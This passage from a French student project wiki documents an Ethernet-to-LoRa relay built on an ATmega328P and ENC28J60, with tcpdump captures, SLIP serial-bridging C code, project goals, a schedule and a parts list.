	0x0070:  0400 015c b901 01ed ceac 1a4f 2100 0000  ...\.......O!...&lt;br /&gt;
	0x0080:  0000 00ac 1a4f fe00 0000 0000 0000 0000  .....O..........&lt;br /&gt;
	0x0090:  0000 0000 0000 0000 00                   .........&lt;br /&gt;
11:16:35.105084 5c:b9:01:01:ed:ce &amp;gt; ff:ff:ff:ff:ff:ff, ethertype ARP (0x0806), length 60: Ethernet (len 6), IPv4 (len 4), &lt;br /&gt;
        Request who-has 172.26.79.254 tell 172.26.79.33, length 46&lt;br /&gt;
	0x0000:  0001 0800 0604 0001 5cb9 0101 edce ac1a  ........\.......&lt;br /&gt;
	0x0010:  4f21 0000 0000 0000 ac1a 4ffe 0000 0000  O!........O.....&lt;br /&gt;
	0x0020:  0000 0000 0000 0000 0000 0000 0000       ..............&lt;br /&gt;
11:16:36.102140 5c:b9:01:01:ed:ce &amp;gt; ff:ff:ff:ff:ff:ff, ethertype ARP (0x0806), length 60: Ethernet (len 6), IPv4 (len 4), &lt;br /&gt;
        Request who-has 172.26.79.254 tell 172.26.79.33, length 46&lt;br /&gt;
	0x0000:  0001 0800 0604 0001 5cb9 0101 edce ac1a  ........\.......&lt;br /&gt;
	0x0010:  4f21 0000 0000 0000 ac1a 4ffe 0000 0000  O!........O.....&lt;br /&gt;
	0x0020:  0000 0000 0000 0000 0000 0000 0000       ..............&lt;br /&gt;
11:16:37.102128 5c:b9:01:01:ed:ce &amp;gt; ff:ff:ff:ff:ff:ff, ethertype ARP (0x0806), length 60: Ethernet (len 6), IPv4 (len 4), &lt;br /&gt;
        Request who-has 172.26.79.254 tell 172.26.79.33, length 46&lt;br /&gt;
	0x0000:  0001 0800 0604 0001 5cb9 0101 edce ac1a  ........\.......&lt;br /&gt;
	0x0010:  4f21 0000 0000 0000 ac1a 4ffe 0000 0000  O!........O.....&lt;br /&gt;
	0x0020:  0000 0000 0000 0000 0000 0000 0000       ..............&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Même si nous avons eu des message sur le port d'écoute mais nous avions un problème du passage d'un paquet ICMP. L'émetteur a essayé d'envoyer certaines types de paquet par exemple paquet ARP, paquet ICMP ... mais du coté de récepteur il n'a pas réussi à capter toutes les types de paquets.&lt;br /&gt;
&lt;br /&gt;
Après avoir étudié le datasheet d'enc28j60, nous avons bien résolu ce problème par ajouter le registre ERXFCON dans la librairie d'enc28j60. Selon son datasheet, ce registre permets de filtrer des paquets que nous recevons. Dans la fonction qui initialise enc28j60, nous avons donc écrit&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
enc28j60Write(ERXFCON,0x60)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
0x60 veut dire que nous mettons le 6ème et 5ème bit de ce registre en 1 et cela permet de laisser passer toutes les types de paquets.&lt;br /&gt;
Nous avons ainsi réessayé ces deux cartes avec la nouvelle librairie et des nouveaux codes. Enfin nous avons réussit à envoyer et à recevoir des paquets ICMP et les autres genres de paquets ARP, IPV4...Nous avons refait la manipulation et nous avions des informations comme-suit&lt;br /&gt;
&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
{|&lt;br /&gt;
|[[Fichier:t1.jpg|thumb|upright=1|manipulation]]&lt;br /&gt;
|[[Fichier:m1.jpg|thumb|upright=1|tcpdump]]&lt;br /&gt;
|[[Fichier:m2.jpg|thumb|upright=1|tcpdump]]&lt;br /&gt;
|[[Fichier:m3.jpg|thumb|upright=1|ping]]&lt;br /&gt;
|}&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Voici le code pour cette partie&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
int main(void)&lt;br /&gt;
{&lt;br /&gt;
init_serial(115200);&lt;br /&gt;
enc28j60Init(mac);&lt;br /&gt;
output_init();&lt;br /&gt;
while(1){&lt;br /&gt;
  if(nb_ethernet==0){&lt;br /&gt;
    nb_ethernet=enc28j60PacketReceive(MAX_BYTES,packet_ethernet);&lt;br /&gt;
    if(nb_ethernet!=0){ index_ethernet=0; output_set(7,1); }&lt;br /&gt;
    }&lt;br /&gt;
  if((nb_ethernet&amp;gt;0)&amp;amp;&amp;amp;(serial_tx_available())){&lt;br /&gt;
    if(index_ethernet&amp;lt;nb_ethernet){ &lt;br /&gt;
      output_set(6,1);&lt;br /&gt;
      unsigned char c=packet_ethernet[index_ethernet++];&lt;br /&gt;
      if(c==SLIP_END){ send_serial(SLIP_ESC); send_serial(SLIP_CODE_END); }&lt;br /&gt;
      else if(c==SLIP_ESC){ send_serial(SLIP_ESC); send_serial(SLIP_CODE_ESC); }&lt;br /&gt;
      else send_serial(c);&lt;br /&gt;
      output_set(6,0);&lt;br /&gt;
      } &lt;br /&gt;
    else{ send_serial(SLIP_END); nb_ethernet=0; output_set(7,0); } &lt;br /&gt;
    }  &lt;br /&gt;
  if(serial_rx_available()){&lt;br /&gt;
    output_set(5,1);&lt;br /&gt;
    unsigned char c=get_serial();&lt;br /&gt;
    output_set(5,0);&lt;br /&gt;
    if(c==SLIP_ESC){&lt;br /&gt;
      output_set(5,1);&lt;br /&gt;
      unsigned char code=get_serial();&lt;br /&gt;
      output_set(5,0);&lt;br /&gt;
      if(code==SLIP_CODE_END) packet_serial[nb_serial++]=SLIP_END;&lt;br /&gt;
      else if(code==SLIP_CODE_ESC) packet_serial[nb_serial++]=SLIP_ESC;&lt;br /&gt;
      }&lt;br /&gt;
    else if(c==SLIP_END){&lt;br /&gt;
       enc28j60PacketSend(nb_serial,packet_serial); nb_serial=0;&lt;br /&gt;
      }&lt;br /&gt;
    else packet_serial[nb_serial++]=c;&lt;br /&gt;
    }&lt;br /&gt;
  }&lt;br /&gt;
}    &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite nous avons passé en deuxième partie, au lieu d'enregistrer des paquets dans la mémoire d'Arduino nous voulions directement utiliser enc28j60 pour envoyer et recevoir des données. Pour cela nous avons changé un peu la fonction dans la librairie. A la place d'appeler la fonction '''enc28j60PacketSend(unsigned int len,unsigned char* packet)''' nous écrivions trois autres fonctions qui permettent initialiser le buffer, écrire un octet sur buffer et finalise envoyer cet octet.Voici ces 3 fonctions&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
//Function that initializes the Send Buffer&lt;br /&gt;
int sendlen;&lt;br /&gt;
void enc28j60InitializeSend(void)&lt;br /&gt;
{&lt;br /&gt;
	// Set the write pointer to start of the transmit buffer area&lt;br /&gt;
	enc28j60Write(EWRPTL, TXSTART_INIT);&lt;br /&gt;
	enc28j60Write(EWRPTH, TXSTART_INIT&amp;gt;&amp;gt;8);&lt;br /&gt;
	sendlen = 0;&lt;br /&gt;
	enc28j60WriteByteSend(0x00);&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
//Function that writes un octet in the buffer&lt;br /&gt;
&lt;br /&gt;
void enc28j60WriteByteSend(unsigned char byte)&lt;br /&gt;
{&lt;br /&gt;
	enc28j60WriteOp(ENC28J60_WRITE_BUF_MEM, 0, byte);&lt;br /&gt;
	sendlen++;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
//Function that finalizes the sending of the byte&lt;br /&gt;
&lt;br /&gt;
void enc28j60FinalizeSend(void)&lt;br /&gt;
{&lt;br /&gt;
	// Set the TXND pointer to correspond to the packet size given&lt;br /&gt;
        enc28j60Write(ETXNDL, (TXSTART_INIT+sendlen));&lt;br /&gt;
        enc28j60Write(ETXNDH, (TXSTART_INIT+sendlen)&amp;gt;&amp;gt;8);		&lt;br /&gt;
	// send the contents of the transmit buffer onto the network&lt;br /&gt;
        enc28j60WriteOp(ENC28J60_BIT_FIELD_SET, ECON1, ECON1_TXRTS);&lt;br /&gt;
&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Donc dans le code main, nous avons écrit&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
int main(void)&lt;br /&gt;
{&lt;br /&gt;
init_serial(115200);&lt;br /&gt;
enc28j60Init(mac);&lt;br /&gt;
enc28j60InitializeSend();&lt;br /&gt;
output_init();&lt;br /&gt;
while(1)&lt;br /&gt;
 {&lt;br /&gt;
	if(nb_ethernet==0)&lt;br /&gt;
	{&lt;br /&gt;
		nb_ethernet=enc28j60PacketReceive(MAX_BYTES,packet_ethernet);&lt;br /&gt;
		if(nb_ethernet!=0)&lt;br /&gt;
		{&lt;br /&gt;
			index_ethernet=0;&lt;br /&gt;
			output_set(7,1);&lt;br /&gt;
		}&lt;br /&gt;
        }&lt;br /&gt;
	if((nb_ethernet&amp;gt;0)&amp;amp;&amp;amp;(serial_tx_available()))&lt;br /&gt;
	{&lt;br /&gt;
		if(index_ethernet&amp;lt;nb_ethernet)&lt;br /&gt;
		{&lt;br /&gt;
			output_set(6,1);&lt;br /&gt;
			unsigned char c=packet_ethernet[index_ethernet++];&lt;br /&gt;
			if(c==SLIP_END){send_serial(SLIP_ESC); send_serial(SLIP_CODE_END);}&lt;br /&gt;
			else if(c==SLIP_ESC){send_serial(SLIP_ESC); send_serial(SLIP_CODE_ESC);}&lt;br /&gt;
			else send_serial(c);&lt;br /&gt;
			output_set(6,0);&lt;br /&gt;
		}&lt;br /&gt;
		else{send_serial(SLIP_END); nb_ethernet=0; output_set(7,0);}&lt;br /&gt;
	}&lt;br /&gt;
	if(serial_rx_available())&lt;br /&gt;
	{&lt;br /&gt;
		output_set(5,1);&lt;br /&gt;
		unsigned char c=get_serial();&lt;br /&gt;
		output_set(5,0);&lt;br /&gt;
		if(nb_serial==0) enc28j60InitializeSend(); &lt;br /&gt;
		if(c==SLIP_ESC)&lt;br /&gt;
		{&lt;br /&gt;
			output_set(5,1);&lt;br /&gt;
			unsigned char code=get_serial();&lt;br /&gt;
			output_set(5,0);&lt;br /&gt;
			if(code==SLIP_CODE_END) &lt;br /&gt;
			{	&lt;br /&gt;
				enc28j60WriteByteSend(SLIP_END);&lt;br /&gt;
				nb_serial++;&lt;br /&gt;
			}&lt;br /&gt;
			else if(code==SLIP_CODE_ESC) &lt;br /&gt;
			{&lt;br /&gt;
				enc28j60WriteByteSend(SLIP_ESC);&lt;br /&gt;
				nb_serial++;&lt;br /&gt;
			}&lt;br /&gt;
        	}&lt;br /&gt;
		else if(c==SLIP_END)&lt;br /&gt;
		{&lt;br /&gt;
	 		&lt;br /&gt;
			enc28j60FinalizeSend();&lt;br /&gt;
			nb_serial=0;&lt;br /&gt;
		}&lt;br /&gt;
		else { enc28j60WriteByteSend(c); nb_serial++; }&lt;br /&gt;
	}&lt;br /&gt;
 }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Et cela marche aussi.&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
{|&lt;br /&gt;
|[[Fichier:ping.jpg|thumb|upright=2|ping]]&lt;br /&gt;
|[[Fichier:tcpdump.jpg|thumb|upright=2|tcpdump]]&lt;br /&gt;
|}&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous avons aussi remplacé la fonction '''enc28j60PacketReceive(unsigned int maxlen, unsigned char* packet)''' par 3 fonctions.&lt;br /&gt;
La première fonction permet d'initialiser le buffer de recevoir et voir s'il y a un paquet est reçu.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
//Function that initializes the receive buffer&lt;br /&gt;
unsigned int enc28j60PacketReceive(void)&lt;br /&gt;
{&lt;br /&gt;
	uint16_t rcvlen;&lt;br /&gt;
        uint16_t rxstat;&lt;br /&gt;
	&lt;br /&gt;
	// check if a packet has been received and buffered&lt;br /&gt;
	if(enc28j60Read(EPKTCNT)==0) &lt;br /&gt;
	{&lt;br /&gt;
		return(0);&lt;br /&gt;
	}&lt;br /&gt;
	&lt;br /&gt;
	// set the read pointer to the start of the received packet&lt;br /&gt;
	enc28j60Write(ERDPTL, (NextPacketPtr));&lt;br /&gt;
	enc28j60Write(ERDPTH, (NextPacketPtr)&amp;gt;&amp;gt;8);&lt;br /&gt;
	&lt;br /&gt;
	// read the next packet pointer&lt;br /&gt;
	NextPacketPtr = enc28j60ReadOp(ENC28J60_READ_BUF_MEM,0);&lt;br /&gt;
	NextPacketPtr |= enc28j60ReadOp(ENC28J60_READ_BUF_MEM,0)&amp;lt;&amp;lt;8;&lt;br /&gt;
&lt;br /&gt;
	// read the packet length&lt;br /&gt;
	rcvlen = enc28j60ReadOp(ENC28J60_READ_BUF_MEM,0);&lt;br /&gt;
	rcvlen |= enc28j60ReadOp(ENC28J60_READ_BUF_MEM,0)&amp;lt;&amp;lt;8;&lt;br /&gt;
	&lt;br /&gt;
	// read the receive status&lt;br /&gt;
	rxstat = enc28j60ReadOp(ENC28J60_READ_BUF_MEM,0);&lt;br /&gt;
	rxstat = enc28j60ReadOp(ENC28J60_READ_BUF_MEM,0)&amp;lt;&amp;lt;8;&lt;br /&gt;
	&lt;br /&gt;
	return(rcvlen);	&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
La seconde fonction permets de lire un seul octet dans un paquet&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
unsigned char enc28j60ByteRead(void)&lt;br /&gt;
{&lt;br /&gt;
&lt;br /&gt;
	return enc28j60ReadOp(ENC28J60_READ_BUF_MEM,0);&lt;br /&gt;
		&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
La troisième fonction permets de libérer le buffer&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
void enc28j60FreeMemory(void)&lt;br /&gt;
{       &lt;br /&gt;
	// move the RX read pointer to the start of the next received packet&lt;br /&gt;
	// this frees the memory we just read out&lt;br /&gt;
	enc28j60Write(ERXRDPTL, (NextPacketPtr));&lt;br /&gt;
	enc28j60Write(ERXRDPTH, (NextPacketPtr)&amp;gt;&amp;gt;8);&lt;br /&gt;
	enc28j60WriteOp(ENC28J60_BIT_FIELD_SET,ECON2,ECON2_PKTDEC);&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Donc le code principal est&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
int main(void)&lt;br /&gt;
{&lt;br /&gt;
init_serial(115200);&lt;br /&gt;
enc28j60Init(mac);&lt;br /&gt;
enc28j60InitializeSend();&lt;br /&gt;
output_init();&lt;br /&gt;
while(1)&lt;br /&gt;
 {&lt;br /&gt;
	if(nb_ethernet==0)&lt;br /&gt;
	{&lt;br /&gt;
		//nb_ethernet=enc28j60PacketReceive(MAX_BYTES,packet_ethernet);&lt;br /&gt;
		nb_ethernet=enc28j60PacketReceive();&lt;br /&gt;
		if(nb_ethernet!=0)&lt;br /&gt;
		{&lt;br /&gt;
			index_ethernet=0;&lt;br /&gt;
			output_set(7,1);&lt;br /&gt;
		}&lt;br /&gt;
        }&lt;br /&gt;
	if((nb_ethernet&amp;gt;0)&amp;amp;&amp;amp;(serial_tx_available()))&lt;br /&gt;
	{&lt;br /&gt;
		if(index_ethernet&amp;lt;nb_ethernet)&lt;br /&gt;
		{&lt;br /&gt;
			output_set(6,1);&lt;br /&gt;
			unsigned char c=enc28j60ByteRead(); index_ethernet++;&lt;br /&gt;
			if(c==SLIP_END){send_serial(SLIP_ESC); send_serial(SLIP_CODE_END);}&lt;br /&gt;
			else if(c==SLIP_ESC){send_serial(SLIP_ESC); send_serial(SLIP_CODE_ESC);}&lt;br /&gt;
			else send_serial(c);&lt;br /&gt;
			output_set(6,0);&lt;br /&gt;
		}&lt;br /&gt;
		else&lt;br /&gt;
		{&lt;br /&gt;
			send_serial(SLIP_END); nb_ethernet=0; output_set(7,0);&lt;br /&gt;
			enc28j60FreeMemory(); &lt;br /&gt;
		}&lt;br /&gt;
	}&lt;br /&gt;
	if(serial_rx_available())&lt;br /&gt;
	{&lt;br /&gt;
		output_set(5,1);&lt;br /&gt;
		unsigned char c=get_serial();&lt;br /&gt;
		output_set(5,0);&lt;br /&gt;
		if(nb_serial==0) enc28j60InitializeSend(); &lt;br /&gt;
		if(c==SLIP_ESC)&lt;br /&gt;
		{&lt;br /&gt;
			output_set(5,1);&lt;br /&gt;
			unsigned char code=get_serial();&lt;br /&gt;
			output_set(5,0);&lt;br /&gt;
			if(code==SLIP_CODE_END) &lt;br /&gt;
			{	&lt;br /&gt;
				enc28j60WriteByteSend(SLIP_END);&lt;br /&gt;
				nb_serial++;&lt;br /&gt;
			}&lt;br /&gt;
			else if(code==SLIP_CODE_ESC) &lt;br /&gt;
			{&lt;br /&gt;
				enc28j60WriteByteSend(SLIP_ESC);&lt;br /&gt;
				nb_serial++;&lt;br /&gt;
			}&lt;br /&gt;
        	}&lt;br /&gt;
		else if(c==SLIP_END)&lt;br /&gt;
		{&lt;br /&gt;
			enc28j60FinalizeSend();&lt;br /&gt;
			nb_serial=0;&lt;br /&gt;
		}&lt;br /&gt;
		else { enc28j60WriteByteSend(c); nb_serial++; }&lt;br /&gt;
	}&lt;br /&gt;
 }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Avec toutes ces modifications, ces deux cartes Ethernet peuvent communiquer entre eux.&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
{|&lt;br /&gt;
|[[Fichier:ping1.jpg|thumb|upright=1.5|ping]]&lt;br /&gt;
|[[Fichier:tcpdump1.jpg|thumb|upright=1.5|tcpdump]]&lt;br /&gt;
|[[Fichier:communication1.jpg|thumb|upright=1.5|tcpdump]]&lt;br /&gt;
|}&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Partie Ethernet+ENC28J60  &amp;lt;/span&amp;gt;&lt;br /&gt;
----&lt;br /&gt;
Pour cette partie, nous essayons de mettre toutes les cartes ensemble: enc28j60+arduino+LoRa. Les paquets que la carte ethernet reçoit doivent être envoyés à LoRa ensuite le LoRa va les envoyer à l'autre LoRa. Une fois que l'autre LoRa reçoit ces données, elles vont être envoyée à la carte ethernet. Le PC pourra traiter des données par la liaison série.&lt;br /&gt;
Pour réussir cette idée, nous avons rencontré deux problèmes principaux&lt;br /&gt;
* Le choix de CS d'Arduino&lt;br /&gt;
* La correspondance de la taille du paquet&lt;br /&gt;
&lt;br /&gt;
= Références =&lt;br /&gt;
&lt;br /&gt;
=== Datasheets ===&lt;br /&gt;
&lt;br /&gt;
[[Fichier:datasheet_cartereseau.pdf]]&lt;br /&gt;
&lt;br /&gt;
[[Fichier:datasheet_lora.pdf]]&lt;br /&gt;
&lt;br /&gt;
Micro-controleur Atmega328p: http://www.atmel.com/Images/Atmel-42735-8-bit-AVR-Microcontroller-ATmega328-328P_datasheet.pdf&lt;br /&gt;
&lt;br /&gt;
=== Documentation (Liens utiles) ===&lt;br /&gt;
&lt;br /&gt;
https://learn.adafruit.com/adafruit-feather-32u4-radio-with-lora-radio-module/downloads&lt;br /&gt;
&lt;br /&gt;
Schematic du module radio : http://modtronix.com/prod/imod/inair9/inair9_r1_sch.pdf&lt;br /&gt;
&lt;br /&gt;
Schematic du mbed : https://developer.mbed.org/media/uploads/chris/lpc1768-refdesign-schematic.pdf&lt;br /&gt;
&lt;br /&gt;
Carte MBED à base de microprocesseur ARM Cortex-3 : http://www.rennes.supelec.fr/ren/perso/jweiss/microp/mbed/mbed.php/&lt;br /&gt;
&lt;br /&gt;
Carte MBED : http://elmicro.com/en/mbed-nxp-lpc1768.html&lt;br /&gt;
&lt;br /&gt;
https://github.com/2xs/smews/tree/develop/targets/Arduino_ethernet/drivers&lt;br /&gt;
&lt;br /&gt;
= Rapport du PFE =&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Rapport_intermédiairePFE19_Chen_Nduwayo.pdf]]&lt;/div&gt;</summary>
		<author><name>Cchen2</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P19_Relai_Ethernet_Lora&amp;diff=39208</id>
		<title>P19 Relai Ethernet Lora</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P19_Relai_Ethernet_Lora&amp;diff=39208"/>
				<updated>2017-02-15T16:05:43Z</updated>
		
		<summary type="html">&lt;p&gt;Cchen2 : /* La programmation */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Présentation générale du projet=&lt;br /&gt;
===Contexte du projet===&lt;br /&gt;
&lt;br /&gt;
L'internet des objets est un domaine en pleine croissance qui permet entre autres d'établir des interactions entre des utilisateurs et des objets connectables.&lt;br /&gt;
&lt;br /&gt;
Les domaines d'applications sont diverses et variées: du contrôle des chauffages dans nos maisons en passant par les smart cities,ou encore le tracking des marchandises,..on y retrouve des dispositifs intelligents tels que des capteurs, des interfaces de communication avec d'autres dispositifs,..&lt;br /&gt;
Aujourd'hui plusieurs équipements embarqués voient le jour, cependant les protocoles de communication n'évoluent pas autant, entraînant donc une forte consommation d'énergie, un besoin énorme en termes de mémoire, réseau,..&lt;br /&gt;
&lt;br /&gt;
Semtech,une entreprise grenobloise, crée en 19 un modem radio LoRa adapté aux besoins des objets connectés et offre une technologie de communication à faible consommation d'énergie, une longue portée(pouvant aller jusqu'à 15 km),un débit faible,..&lt;br /&gt;
&lt;br /&gt;
L'actuelle main mise du privé sur les réseaux IP n'est pas forcément une bonne chose pour Internet.&lt;br /&gt;
&lt;br /&gt;
===Objectif du projet===&lt;br /&gt;
&lt;br /&gt;
L'objectif du projet est de réaliser un module autonome connectable sur une box Internet permettant de relier deux sites avec une connexion longue distance.&lt;br /&gt;
[[Fichier:carte.png|500px|center|Schématique de l'objectif du projet]]&lt;br /&gt;
&lt;br /&gt;
===Cahier de charges===&lt;br /&gt;
Le projet se déroulera en deux phases. Nous utiliserons 2 technologies: L'ethernet et la communication par radio fréquences.&lt;br /&gt;
&lt;br /&gt;
Nous réaliserons d'abord un premier prototype construit  autour d'un AtMega328P, d'une carte Ethernet (avec un micro-contrôleur Microchip ENC28J60), et d'un modem radio LoRa.&lt;br /&gt;
Un connecteur USB est prévu pour l'alimentation.&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous réaliserons un deuxième prototype sur la base d'un module MBED équipé d'un microcontroleur 32 bits à processeur ARM Cortex M3  , du même modem LoRa.&lt;br /&gt;
&lt;br /&gt;
Nous avons choisi ce processeur pour :&lt;br /&gt;
&lt;br /&gt;
le fait qu'un module Ethernet PHY soit  intégré; qui opère au niveau de la couche physique du modèle OSI et met en œuvre la partie de la couche physique Ethernet du 1000BASE-T, 100BASE-TX, et les normes 10BASE-T.&lt;br /&gt;
&lt;br /&gt;
la vitesse du processeur très élevée,&lt;br /&gt;
&lt;br /&gt;
Présence de plusieurs périphériques série&lt;br /&gt;
&lt;br /&gt;
En ce qui concerne l'environnement de développement,le compilateur MBED permet d'écrire des programmes en C++ qui peuvent être compilés en ligne.&lt;br /&gt;
    &lt;br /&gt;
Nous comptons également utiliser le protocole PoE (Power over Ethernet) pour l'alimentation par le port Ethernet, prévoir un protocole de communication pour la transmission des paquets Ethernet par LoRa.&lt;br /&gt;
&lt;br /&gt;
===Suivi du projet===&lt;br /&gt;
 {| class=&amp;quot;wikitable alternance centre&amp;quot;&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Semaine 1 (19/09)&lt;br /&gt;
 | Réunions avec l'encadrant de projet / Définition des objectifs / Recherche bibliographique&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Semaine 2 (26/09)&lt;br /&gt;
 | &lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Semaine 3 (03/10)&lt;br /&gt;
 | &lt;br /&gt;
 |-&lt;br /&gt;
  ! scope=&amp;quot;row&amp;quot; | Semaine 4 (11/10)&lt;br /&gt;
 | Etablissement de la liste du matériel&lt;br /&gt;
 |-&lt;br /&gt;
   ! scope=&amp;quot;row&amp;quot; | Semaine 5(18/10)&lt;br /&gt;
 | Etablissement de la liste du matériel&lt;br /&gt;
 |-&lt;br /&gt;
   ! scope=&amp;quot;row&amp;quot; | Semaine 6(25/10)&lt;br /&gt;
 | Recherche de la librairie C pour le SX1276&lt;br /&gt;
 |-&lt;br /&gt;
   ! scope=&amp;quot;row&amp;quot; | Semaine 7(31/10)&lt;br /&gt;
 | Réalisation des schematics pour la carte1 et création des bibliothèques des composants&lt;br /&gt;
 |-&lt;br /&gt;
&lt;br /&gt;
 |}&lt;br /&gt;
&lt;br /&gt;
===Planning prévisionnel===&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Planning_.pdf]]&lt;br /&gt;
&lt;br /&gt;
[[Fichier:PLANNING.png|800px|center|Planning du projet]]&lt;br /&gt;
&lt;br /&gt;
===La recherche et la documentation ===&lt;br /&gt;
====Microcontrôleur Atmega328p====&lt;br /&gt;
Atmega328p est un mono-puce microcontrôleur.&lt;br /&gt;
====Carte Réseau====&lt;br /&gt;
=====Qu'est-ce qu'une carte réseau?=====&lt;br /&gt;
La carte réseau (appelée Network Interface Card en anglais et notée NIC) constitue l'interface entre l'ordinateur et le câble du réseau. La fonction d'une carte réseau est de préparer, d'envoyer et de contrôler les données sur le réseau. &lt;br /&gt;
&lt;br /&gt;
Pour préparer les données à envoyer, la carte réseau utilise un transceiver qui transforme les données parallèles en données séries. Chaque carte dispose d'une adresse unique, appelée adresse MAC, affectée par le constructeur de la carte, ce qui lui permet d'être identifiée de façon unique dans le monde parmi toutes les autres cartes réseau. &lt;br /&gt;
&lt;br /&gt;
=====Quel est le rôle d'une carte réseau?=====&lt;br /&gt;
Une carte réseau sert d'interface physique entre l'ordinateur et le câble. Elle prépare pour le câble réseau les données émises par l'ordinateur, les transfère vers un autre ordinateur et contrôle le flux de données entre l'ordinateur et le câble. Elle traduit aussi les données venant du câble et les traduit en octets afin que l'Unité Centrale de l'ordinateur les comprenne. Ainsi une carte réseau est une carte d'extension s'insérant dans un connecteur d'extensions (slot). &lt;br /&gt;
&lt;br /&gt;
=====Qu'est-ce qu'une carte réseau Ethernet?=====&lt;br /&gt;
La plupart des cartes réseau destinées au grand public sont des cartes Ethernet. Elles utilisent comme support de communication des paires torsadées (8 fils en cuivre), disposant à chaque extrémité de prises RJ45. &lt;br /&gt;
&lt;br /&gt;
Les trois standards Ethernet (norme 802.3) les plus courants correspondent aux trois débits les plus fréquemment rencontrés : &lt;br /&gt;
1.Le 10Base-T permet un débit maximal de 10 Mbit/s. Le câble RJ45 peut alors mesurer jusqu'à une centaine de mètres et seuls 4 des 8 fils sont    utilisés.&lt;br /&gt;
2.Le 100Base-TX permet un débit maximal de 100 Mbit/s. Il est également appelé Fast Ethernet et est désormais supporté par la quasi-totalité des cartes réseau. Comme pour le 10Base-T, le câble RJ45 peut alors mesurer jusqu'à une centaine de mètres et seuls 4 des 8 fils sont utilisés.&lt;br /&gt;
3.Le 1000Base-T permet un débit maximal de 1 000 Mbit/s. Il est également appelé Gigabit Ethernet et se démocratise rapidement. Pour que le réseau fonctionne correctement, le câble RJ45 peut toujours mesurer jusqu'à 100 m, mais doit être de bonne qualité. Cette fois, les 8 fils sont utilisés.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:ce.jpg|300px|center|Carte Ethernet]]&lt;br /&gt;
&lt;br /&gt;
=====Ethernet Module ENC28J60=====&lt;br /&gt;
Pour la suite de notre projet, il faut une bonne connaissance du module ENC28J60. Les comportements d'enc28j60.&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
{|&lt;br /&gt;
| [[Fichier:enc28j60.png|thumb|upright=2|L'intérieure d'enc28j60]]&lt;br /&gt;
|}&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
Il y a trois types de registres pour enc28j60: controller registre, ethernet registre et mac registre. Pour voir comment fonctionne le registre, cela contient 2+2+2 étapes, c'est à dire que l'écriture de registre et la lecture de registre, l'écriture de buffer et la lecture de buffer, l'écriture de registre PHY et la lecture de registre PHY. Les fonctions dans la librairie d'enc28j60 qui permettent de réaliser toutes ces l'écriture et la lecture sont.&lt;br /&gt;
&lt;br /&gt;
=Avancement du projet=&lt;br /&gt;
===Souder la carte Ethernet===&lt;br /&gt;
[[Fichier:carte1.JPG|500px|center|Carte Ethernet]]&lt;br /&gt;
&lt;br /&gt;
===Liste du matériel ===&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
 |-&lt;br /&gt;
 ! Matériel !! Quantité requise !! Quantité disponible !! A commander !! Commentaires &lt;br /&gt;
 |-&lt;br /&gt;
 |&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Premier prototype (à base d'un AtMega328P) &amp;lt;/span&amp;gt; &amp;lt;br/&amp;gt;&lt;br /&gt;
 |-&lt;br /&gt;
 | &amp;lt;span style=&amp;quot;color:red&amp;quot;&amp;gt;Partie Ethernet&amp;lt;/span&amp;gt; &amp;lt;br/&amp;gt;&lt;br /&gt;
 |-&lt;br /&gt;
 | Résistances 49.9Ω &lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
